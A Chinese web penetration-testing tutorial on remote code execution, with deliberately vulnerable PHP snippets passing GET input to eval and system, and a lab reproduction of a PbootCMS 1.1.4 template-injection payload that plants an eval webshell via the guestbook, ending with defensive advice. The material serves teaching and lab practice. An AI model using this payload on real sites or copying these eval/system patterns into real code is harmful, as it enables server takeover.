【网安-Web渗透测试-漏洞系列】RCE漏洞

RCE漏洞

一、RCE概念

1、什么是RCE漏洞?

RCE(Remote Code/Command Execution)是远程代码执⾏和远程命令执⾏的漏洞。在很多Web应⽤中,开发⼈员会使⽤⼀些函数,这些函数以⼀些字符串作为输⼊,功能是将输⼊的字符串当作代码或者命令来进⾏执⾏。当⽤户可以控制这些函数的输⼊时,就产⽣了RCE漏洞。

2、危害性

RCE漏洞是⾮常严重的安全漏洞,⼀旦出现,就意味着攻击者可以获取服务器的命令执⾏权限,从⽽对服务器安全造成极⼤的影响。

二、运行环境

名称 值
操作系统 Windows 10
中间件 phpStudy 2018
PHP版本 5.4.45
Apache 2.4

三、远程代码执行案例

1、eval函数

(1)新建rce_1.php文件

bash 复制代码
<?php
 $code=$_GET['x'];
 eval($code);
?>

(2)访问地址

bash 复制代码
http://127.0.0.1/rce_1.php?x=phpinfo();
bash 复制代码
http://127.0.0.1/rce_1.php?x=echo 'This is an echo print output!';

2、system函数

(1)新建rce_2.php文件

bash 复制代码
<?php
 $code=$_GET['x'];
 echo system($code);
?>

(2)访问地址

bash 复制代码
http://127.0.0.1/rce_2.php?x=ipconfig
bash 复制代码
http://127.0.0.1/rce_2.php?x=dir
bash 复制代码
http://127.0.0.1/rce_2.php?x=tasklist
bash 复制代码
http://127.0.0.1/rce_2.php?x=systeminfo

四、PbootCMS-1.1.4靶场实践

1、靶场环境配置

(1)部署地址

bash 复制代码
D:\phpStudy\PHPTutorial\WWW\pboot

(2)访问地址

bash 复制代码
http://127.0.0.1/pboot

2、漏洞复现

Step1:访问地址

bash 复制代码
http://127.0.0.1/pboot/index.php/about/10.html


Step2:留言输⼊框 "内 容" 中填入如下的东西后,单击"提交"。

bash 复制代码
AboutController:{pboot:if(eval($_POST[1]))}!!!{/pboot:if}

提交成功后会显示"提交成功"

Step3:登录后台

bash 复制代码
账户:admin
密码:123456


Step4:在 "在线留言" 页面中注入恶意语句

3、分析"漏洞复现"为何能成功注入

Step1:所访问的 "在线留言" 中含有的访问地址已得知。

bash 复制代码
http://127.0.0.1/pboot/index.php/about/10.html

Step2:现查阅 "在线留言" 的源码,位置如下:

bash 复制代码
D:\phpStudy\PHPTutorial\WWW\pboot\apps\home\controller\AboutController.php

Step3:从图片看到ParserController.php中存在了一个eval函数,且AboutController.php(即"在线留言"页面)调用了ParserController.php模块。

五、RCE漏洞防御

  • 在进入执行命令函数前,需做严格的检测和过滤;
  • 命令执行函数(不能完全控制的危险函数)尽量不用,如果必须使用,则一定要加上验证,以防他人利用。
  • 必须保证用户不能轻易接触eval的参数,如果一定需要用该函数,需严格判断输入的数据是否含有危险变量。
相关推荐
谢亮_vipxieliang6 小时前
用 PHP 构建轻量级 REST API:从路由到鉴权的完整实践
开发语言·后端·php
梦帮科技7 小时前
【3.0修订版】跨链中继与事件编排:Relayer 监听、多签验证与故障自愈
web安全·金融·区块链·密码学·智能合约·安全架构·信任链
wuyk5559 小时前
《WiFi 嵌入式物联网开发全套实战》| 第 31 章 休眠唤醒 WiFi 断连、时间同步、网络恢复机制
网络·物联网·php
王大傻092810 小时前
堆叠注入(Stacked Queries Injection)详解:原理、利用与防御
服务器·网络·数据库·web安全·网络安全
CV工程师丁Sir15 小时前
ArkWeb 手记 06|window.open 与页面跳转拦截
开发语言·php·harmonyos
可乐鸡翅yeah_16 小时前
HLS 业务 Referer‑Policy 网页元标签引发播放异常排错
前端·javascript·网络·ffmpeg·php·音视频
vipxieliang16 小时前
PHP 依赖注入容器从零实现:控制反转、手动注入与容器管理全解析
后端·php
运维行者_16 小时前
PHP性能监控怎么做?从响应时间到慢函数的6个关键指标
运维·服务器·开发语言·网络·支持向量机·php·接口隔离原则
三84416 小时前
sql注入
web安全·sql注入
Do_It_Today17 小时前
php xml 入门学习资料
开发语言·php